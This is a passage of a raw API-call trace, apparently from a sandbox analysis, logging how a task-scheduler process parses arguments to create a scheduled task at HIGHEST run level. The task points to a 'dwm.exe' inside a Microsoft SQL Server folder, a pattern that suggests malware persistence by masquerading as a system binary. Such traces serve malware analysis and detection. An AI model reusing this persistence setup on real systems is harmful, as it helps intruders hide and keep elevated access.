StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0107.418] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0107.421] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0107.421] GetLastError () returned 0x0 [0107.421] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.421] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0107.421] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.421] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.421] lstrlenW (lpString="/rl") returned 3 [0107.421] lstrlenW (lpString="-/") returned 2 [0107.421] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.422] lstrlenW (lpString="create") returned 6 [0107.422] lstrlenW (lpString="create") returned 6 [0107.422] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.422] lstrlenW (lpString="rl") returned 2 [0107.422] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.422] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|create|") returned 8 [0107.422] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.422] lstrlenW (lpString="|create|") returned 8 [0107.422] lstrlenW (lpString="|rl|") returned 4 [0107.422] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0107.422] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.422] lstrlenW (lpString="?") returned 1 [0107.422] lstrlenW (lpString="?") returned 1 [0107.422] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.422] lstrlenW (lpString="rl") returned 2 [0107.422] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.422] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|?|") returned 3 [0107.422] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.422] lstrlenW (lpString="|?|") returned 3 [0107.422] lstrlenW (lpString="|rl|") returned 4 [0107.422] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.422] lstrlenW (lpString="s") returned 1 [0107.422] lstrlenW (lpString="s") returned 1 [0107.422] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.422] lstrlenW (lpString="rl") returned 2 [0107.422] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.422] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|s|") returned 3 [0107.422] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.422] lstrlenW (lpString="|s|") returned 3 [0107.422] lstrlenW (lpString="|rl|") returned 4 [0107.423] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.423] lstrlenW (lpString="u") returned 1 [0107.423] lstrlenW (lpString="u") returned 1 [0107.423] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.423] lstrlenW (lpString="rl") returned 2 [0107.423] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.423] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|u|") returned 3 [0107.423] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.423] lstrlenW (lpString="|u|") returned 3 [0107.423] lstrlenW (lpString="|rl|") returned 4 [0107.423] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.423] lstrlenW (lpString="p") returned 1 [0107.423] lstrlenW (lpString="p") returned 1 [0107.423] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.423] lstrlenW (lpString="rl") returned 2 [0107.423] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.423] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|p|") returned 3 [0107.423] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.423] lstrlenW (lpString="|p|") returned 3 [0107.423] lstrlenW (lpString="|rl|") returned 4 [0107.423] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.423] lstrlenW (lpString="ru") returned 2 [0107.423] lstrlenW (lpString="ru") returned 2 [0107.423] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.423] lstrlenW (lpString="rl") returned 2 [0107.423] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.423] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ru|") returned 4 [0107.423] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.423] lstrlenW (lpString="|ru|") returned 4 [0107.423] lstrlenW (lpString="|rl|") returned 4 [0107.424] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0107.424] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.424] lstrlenW (lpString="rp") returned 2 [0107.424] lstrlenW (lpString="rp") returned 2 [0107.424] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.424] lstrlenW (lpString="rl") returned 2 [0107.424] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.424] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rp|") returned 4 [0107.424] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.424] lstrlenW (lpString="|rp|") returned 4 [0107.424] lstrlenW (lpString="|rl|") returned 4 [0107.424] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0107.424] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.424] lstrlenW (lpString="sc") returned 2 [0107.424] lstrlenW (lpString="sc") returned 2 [0107.424] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.424] lstrlenW (lpString="rl") returned 2 [0107.424] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.424] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sc|") returned 4 [0107.424] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.424] lstrlenW (lpString="|sc|") returned 4 [0107.424] lstrlenW (lpString="|rl|") returned 4 [0107.424] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0107.424] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.424] lstrlenW (lpString="mo") returned 2 [0107.424] lstrlenW (lpString="mo") returned 2 [0107.424] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.424] lstrlenW (lpString="rl") returned 2 [0107.424] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.424] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|mo|") returned 4 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.425] lstrlenW (lpString="|mo|") returned 4 [0107.425] lstrlenW (lpString="|rl|") returned 4 [0107.425] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0107.425] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.425] lstrlenW (lpString="d") returned 1 [0107.425] lstrlenW (lpString="d") returned 1 [0107.425] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.425] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|d|") returned 3 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.425] lstrlenW (lpString="|d|") returned 3 [0107.425] lstrlenW (lpString="|rl|") returned 4 [0107.425] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.425] lstrlenW (lpString="m") returned 1 [0107.425] lstrlenW (lpString="m") returned 1 [0107.425] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.425] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|m|") returned 3 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.425] lstrlenW (lpString="|m|") returned 3 [0107.425] lstrlenW (lpString="|rl|") returned 4 [0107.425] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.425] lstrlenW (lpString="i") returned 1 [0107.425] lstrlenW (lpString="i") returned 1 [0107.425] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.425] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|i|") returned 3 [0107.425] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.425] lstrlenW (lpString="|i|") returned 3 [0107.425] lstrlenW (lpString="|rl|") returned 4 [0107.425] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.426] lstrlenW (lpString="tn") returned 2 [0107.426] lstrlenW (lpString="tn") returned 2 [0107.426] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.426] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.426] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tn|") returned 4 [0107.426] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.426] lstrlenW (lpString="|tn|") returned 4 [0107.426] lstrlenW (lpString="|rl|") returned 4 [0107.426] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0107.426] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.426] lstrlenW (lpString="tr") returned 2 [0107.426] lstrlenW (lpString="tr") returned 2 [0107.426] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.426] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.426] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|tr|") returned 4 [0107.426] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.426] lstrlenW (lpString="|tr|") returned 4 [0107.426] lstrlenW (lpString="|rl|") returned 4 [0107.426] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0107.426] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.426] lstrlenW (lpString="st") returned 2 [0107.426] lstrlenW (lpString="st") returned 2 [0107.426] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.426] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.426] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|st|") returned 4 [0107.426] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.426] lstrlenW (lpString="|st|") returned 4 [0107.426] lstrlenW (lpString="|rl|") returned 4 [0107.426] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0107.426] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.426] lstrlenW (lpString="sd") returned 2 [0107.426] lstrlenW (lpString="sd") returned 2 [0107.427] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.427] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.427] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|sd|") returned 4 [0107.427] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.427] lstrlenW (lpString="|sd|") returned 4 [0107.427] lstrlenW (lpString="|rl|") returned 4 [0107.427] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0107.427] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.427] lstrlenW (lpString="ed") returned 2 [0107.427] lstrlenW (lpString="ed") returned 2 [0107.427] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.427] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.427] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ed|") returned 4 [0107.427] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.427] lstrlenW (lpString="|ed|") returned 4 [0107.427] lstrlenW (lpString="|rl|") returned 4 [0107.427] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0107.427] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.427] lstrlenW (lpString="it") returned 2 [0107.427] lstrlenW (lpString="it") returned 2 [0107.427] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.427] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.427] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|it|") returned 4 [0107.427] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.427] lstrlenW (lpString="|it|") returned 4 [0107.427] lstrlenW (lpString="|rl|") returned 4 [0107.427] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0107.427] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.428] lstrlenW (lpString="et") returned 2 [0107.428] lstrlenW (lpString="et") returned 2 [0107.428] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.428] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.428] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|et|") returned 4 [0107.428] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.428] lstrlenW (lpString="|et|") returned 4 [0107.428] lstrlenW (lpString="|rl|") returned 4 [0107.428] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0107.428] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.428] lstrlenW (lpString="k") returned 1 [0107.428] lstrlenW (lpString="k") returned 1 [0107.428] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.428] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.428] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|k|") returned 3 [0107.428] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.428] lstrlenW (lpString="|k|") returned 3 [0107.428] lstrlenW (lpString="|rl|") returned 4 [0107.428] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.428] lstrlenW (lpString="du") returned 2 [0107.428] lstrlenW (lpString="du") returned 2 [0107.428] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.428] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.428] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|du|") returned 4 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.429] lstrlenW (lpString="|du|") returned 4 [0107.429] lstrlenW (lpString="|rl|") returned 4 [0107.429] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0107.429] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.429] lstrlenW (lpString="ri") returned 2 [0107.429] lstrlenW (lpString="ri") returned 2 [0107.429] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.429] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ri|") returned 4 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.429] lstrlenW (lpString="|ri|") returned 4 [0107.429] lstrlenW (lpString="|rl|") returned 4 [0107.429] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0107.429] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.429] lstrlenW (lpString="z") returned 1 [0107.429] lstrlenW (lpString="z") returned 1 [0107.429] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.429] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|z|") returned 3 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.429] lstrlenW (lpString="|z|") returned 3 [0107.429] lstrlenW (lpString="|rl|") returned 4 [0107.429] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.429] lstrlenW (lpString="f") returned 1 [0107.429] lstrlenW (lpString="f") returned 1 [0107.429] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.429] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|f|") returned 3 [0107.429] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.430] lstrlenW (lpString="|f|") returned 3 [0107.430] lstrlenW (lpString="|rl|") returned 4 [0107.430] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.430] lstrlenW (lpString="v1") returned 2 [0107.430] lstrlenW (lpString="v1") returned 2 [0107.430] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.430] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.430] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|v1|") returned 4 [0107.430] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.430] lstrlenW (lpString="|v1|") returned 4 [0107.430] lstrlenW (lpString="|rl|") returned 4 [0107.430] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0107.430] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.430] lstrlenW (lpString="xml") returned 3 [0107.430] lstrlenW (lpString="xml") returned 3 [0107.430] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.430] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.430] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x6, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|xml|") returned 5 [0107.430] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.430] lstrlenW (lpString="|xml|") returned 5 [0107.430] lstrlenW (lpString="|rl|") returned 4 [0107.430] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0107.430] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.430] lstrlenW (lpString="ec") returned 2 [0107.430] lstrlenW (lpString="ec") returned 2 [0107.430] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.430] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.430] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|ec|") returned 4 [0107.430] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.430] lstrlenW (lpString="|ec|") returned 4 [0107.430] lstrlenW (lpString="|rl|") returned 4 [0107.430] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0107.430] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.430] lstrlenW (lpString="rl") returned 2 [0107.430] lstrlenW (lpString="rl") returned 2 [0107.431] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.431] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.431] _vsnwprintf (in: _Buffer=0x277e2103970, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.431] _vsnwprintf (in: _Buffer=0x277e2103950, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd372b9c828 | out: _Buffer="|rl|") returned 4 [0107.431] lstrlenW (lpString="|rl|") returned 4 [0107.431] lstrlenW (lpString="|rl|") returned 4 [0107.431] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] lstrlenW (lpString="HIGHEST") returned 7 [0107.431] lstrlenW (lpString="-/") returned 2 [0107.431] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] lstrlenW (lpString="HIGHEST") returned 7 [0107.431] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.431] _memicmp (_Buf1=0x277e210a7b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.431] lstrlenW (lpString="HIGHEST") returned 7 [0107.431] lstrlenW (lpString="HIGHEST") returned 7 [0107.431] lstrlenW (lpString=" \x09") returned 2 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0107.431] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0107.431] GetLastError () returned 0x0 [0107.431] lstrlenW (lpString="HIGHEST") returned 7 [0107.432] lstrlenW (lpString="HIGHEST") returned 7 [0107.432] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.432] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.432] lstrlenW (lpString="/f") returned 2 [0107.432] lstrlenW (lpString="-/") returned 2 [0107.432] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0107.432] lstrlenW (lpString="create") returned 6 [0107.432] lstrlenW (lpString="create") returned 6 [0107.432] _memicmp (_Buf1=0x277e2104380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.432] _memicmp (_Buf1=0x277e2103930, _Buf2=0x7ff685139eb0, 